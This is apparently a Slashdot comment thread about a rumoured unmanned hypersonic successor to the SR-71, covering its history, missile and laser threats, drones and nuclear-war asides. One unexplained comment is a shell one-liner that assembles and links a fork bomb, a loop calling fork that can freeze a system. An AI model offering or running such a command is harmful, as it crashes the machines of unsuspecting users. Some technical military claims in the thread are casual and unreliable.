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USAF Developing New "SR-72" Supersonic Spy?
Kadin2048 writes "According to an Air Force Times article, the famed Lockheed Martin 'Skunk Works' may be hard at work on a new supersonic spy plane (with 'artist concept') for the U.S. military, to replace the SR-71 'Blackbird' retired a decade ago. Dubbed by some the SR-72, the jet would be unmanned and travel at about 4,000 MPH at as much as 100,000 feet, with 'transcontinental' range. Some have speculated that new high-speed spy planes could be a U.S. response to anti-satellite weapons deployed by China, in order to preserve reconnaissance capabilities in the event of a loss of satellite coverage. Neither the Air Force nor Lockheed Martin would comment on the program, or lack thereof."
I'm sure a lot of you guys already know this, but for those that don't...
The SR-71 Blackbird was originally named the RS-71, but it was renamed when Lyndon Johnson accidentally rearranged the letters during his 1964 announcement of the existence of the SR-71 (which he was supposed to call RS-71). Anyway... airplane history for ya'll.
Eh, I suppose it could have a hatch situated between the engines on the rear of the plane, but anything it would drop would be extremely small an realatively very light as they wouldn't want to weigh down the plane any more than necessary. All in all, a very inefficient way to go dropping ordinance on people.
There's work being done on lasers that are eventually intended for mounting under the F-35, so it may not be that much of a stretch to see one or two of those mounted in something like this. I don't know how badly 20 miles of atmosphere would attenuate the beam, but if it's for surgical strikes against soft targets (where a soft target could even be relatively heavily armored, but not under 30 feet of reinforced concrete), such a pinpoint ability could be exceedingly valuable in hitting targets in urban areas without the collateral damage of even the Small-Diameter Bomb (which still weighs in at 250 pounds).
You can never go home again... but I guess you can shop there.
I was wondering when they'd have an official designation for Aurora.
In the land of the blind, the one-eyed man is usually crucified.
Is this really even necessary? Un-mothball a couple SR-71s. Is there even anything that can bring one of those down?
(My previous post had bad links. Sorry.)
http://www.cnw.mk.ua/weapons/airforce/razv/sr71/im age/sr71ff.jpg
http://perso.orange.fr/romain.g/sr71-1.jpg
What about laser weapons, though? They weren't nearly as advanced back when the 71 was flying, but (iirc) they can destroy satellites with them now. Wouldn't targeting a high-flying plane like the 72 be similar to hitting a satellite? I can't imagine the maneuverability would be very good at those speeds.
"Laser defenses" are hardly worth losing much sleep over. In order to hit a target moving the speeds this thing moves and at the height it travels, you will not only need one very powerful laser, but a damn good targeting system. Even then, the laser can only hit what is in its horizon, with stuff on the horizon being extremely difficult to hit and taking even more power. Any such laser would be pretty damn big, pretty damn obvious, consume a very noticeable amount of juice, and be a big fat plump target.
Fears of laser defenses hardly justify much worry. Conventional missiles are probably far more worth worrying about, but even then you are talking about a very fast, very long range missile that probably looks more like a ballistic missile then a normal missile. And if they hit one? Oh no. They just killed a robot. The alternative is to use much larger and slower manned vehicles or rely on satellites... which China has shown it is capable of knocking down.
You've still got to worry about dwell time. It's not enough just to hit the target for a fraction of a second, you have to hold on target long enough to pump enough joules into it to do damage.
General Relativity: Space-time tells matter where to go; Matter tells space-time what shape to be.
I don't care if there are better solutions or if it's expensive or bad for the environment or whatever. The engineer in me just thinks that the SR-71 was too cool to be taken out of service. I look forward to the SR-72.
SJW n. One who posts facts.
If it's intended as a satellite-replacement in case of reconnaissance satellites being destroyed by ASAT weaponry, wouldn't there be some issues in remotely controlling an aircraft with "transcontinental" range without relying on communications satellites that would also presumably be destroyed by the point this aircraft is needed?
According to the Smithsonian - http://www.nasm.si.edu/aircraft/lockheed_sr71.htm
3,418 kmp = Mach 2.79, pretty bad ass. I though you were not able to break the sound barrier over the US, either a special circumstance or I am just wrong.
Now I'm all for conspiracy theories and the intrigue of a good old spy thriller, but here's the rub. I spent a decade in the military, then a bit more working as a civilian for the department of defense, the entire time I held a TS security clearance and had access to perhaps far more than I should have - mostly because I'm a curious little bastard. That said, never once did I come across the public release of information for specific hardware simply because there was better equipment in the pipeline. As close as it ever gets would be RADAR. Common sense dictates that certain modes are rarely, if ever, switched on so as to prevent 'the other side' from getting a good look.
Skunkworks or not, one thing I learned was that secrets don't stay secret forever. Release of information is most frequently intentional, far reaching, but only intended for a few key individuals. Far less often is it accidental or malicious. Conspiracies are few and far between.
Besides, those grey's don't even know how to make coffee, they do nothing but sit down in the basement and blink all day long.
The government didn't talk publicly about the SR-71 Spy Plane until...well, there's something else out there, which we won't know about until it's replaced by something else.
-THE END-
You know, at 4000mph I really don't think C4 or Thermite would be needed. I think friction would do the trick if there were to be any unplanned aerodynamic manipulations.
Who is John Galt?
I wonder does anyone remember Project Tagboard, the Lockheed D-21 unmanned drone that could fly at around 2,700 mph to fly a pre-programmed course before ejecting its camera pack? While the idea worked it was not a paragon of reliability and the project was cancelled in 1971.
However, thanks to technology improvements since then, this new drone could probably work, thanks to better materials, fly-by-wire systems, and GPS navigation for more precise control of flight path. It would probably be launched off modified B-52 bombers like the D-21 drone.
In the excellent "Skunk Works" about Lockheed Martin's special projects division, Ben Rich discusses the problem of masking the heat signature from air friction against the airframe of a plane flying Mach 6, saying it would show up like a meteor to a thermal detector. At that speed you can't shoot it down, but the observed can detect it thermally. I recall that he said they put additives in the SR-71's fuel to reduce the heat signature of its exhaust.
It seems that the U2 and SR-71 overflights may have had a calming effect on US military actions, as they allowed the US to better understand the USSR's level of alert, and prevented overreaction to a false belief that the USSR may have been massing for an attack.
I'm not so sure that this craft will be invulnerable to surface to air missiles such as the S-300V (SA-12b) fielded by Russia, China and India. The SA-12b has a range of between 100 and 200 km and a speed of 2.4km/s (Mach 7.24) and is known to have a limited anti-ballistic missile capability. Any craft travelling at mach 6 is not going to be very manoeuvrable (less than a missile in any case) and if it were to come in range of the SAMs would very likey be shot down. It is also an interesting coincidence that the SR-71 was slowly retired as later variants of the S-300 became operational as it would have made intercepts possible even over international waters where the SR-71 usually operated (The limits of view at 80 000 feet altitude is about 640km so there good information could be gathered without endangering the crew and craft, and satellites could actually get closer to the target than the SR-71 could), but you can be sure that the SR-71 was never operated over any area where there were active and hostile S-300s.
That said, tracking a target at mach 6 is no easy task. If the plane deploys some stealth or good ecm it will be no easy target. But invulnerable I seriously doubt. In the same manner that Russia upgraded its S-27 Topol M ICBM to manoeuvre in order to make targeting by the US ABM interceptor missiles, I am pretty sure that both China and Russia would be able to develop a counter to the SR-72 relatively cheaply, probably by improving the S-300 system.
I think the real use of a system such as this would be against countries like Iran, which the US fears is going to threaten Israel.
Do they even have self destructs I wonder? In Blackhawk Down (the book) they actually had guys go back and chuck in themite grenades into the helicopters. And in Iraq I heard the same thing about disabled M1A1s. I even heard of the USAF dropping napalm on downed equipment to destroy it. But all this is from journalists, so maybe it was bullshit.
Seems like if you had a self destruct, the guys that abandoned them would just have set a timer before they left. Maybe the safety issue makes it stupid idea in practice.
I dunno really. On one hand I think military stuff is full of explosives anyway, so a few small charges to destroy sensitive stuff is no problem, on the other I can see that it might be hard to do this if the inside is packed tight with soldiers and equipment, and maybe there are high tech ways to accomplish most of the effect of a self destruct if the computers reformat themselves and keys get revoked back at base. You certainly don't see the bad guys being able to use captured hardware, and it's not like al Qaeda will be able to reverse engineer it like the Russians could.
In that case, lobbing a thermite grenade is just to destroy any paperwork that might be left. I suspect there's an element of anthropomorphic thinking too, fragging equipment is sparing it the indignity of being captured.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Congratulations, that's the best change of topic I've seen all day. Whether there would be a nuclear winter or not has nothing to do with who would come out worst in the exchange. But since we're on the topic, nuclear winter is pretty debatable. Modern nuclear weapons don't produce a lot of fallout and are mostly set as airbursts that wouldn't kick up all that much dust. The economic chaos caused by a nuclear exchange between any of Chinak, Russia, and the United States would most likely be a far worse problem than whatever level of global cooling might or might not happen from that exchange. The world economy would be screwed if the exchange were between China and Russia and completely shattered if it were between China and the US.
:)
Fortunately, that's not very likely to happen. The Middle East is the place most likely to have a nuclear exchange. It would be smaller, but still pretty bad for the global economy. We'd better get drilling more in Alaska and California and anywhere else we've got oil, so when the Iranians get nukes and the Israelis vaporize them in self-defense, we'll still have enough oil to get along on until we're really up to speed on non-oil energy sources.
But I digress. Nuclear winter or no nuclear winter, anyone who thinks the Chinese couldn't tell the difference on radar between a high-altitude spy plane and a re-entering MIRV is still a tool
so when the Iranians get nukes and the Israelis vaporize them in self-defense
...
What, like the 'merkins vaporized the Iraqis in "self defence"?
Gah
If it weren't for the rocks in its bed, the stream would have no songs.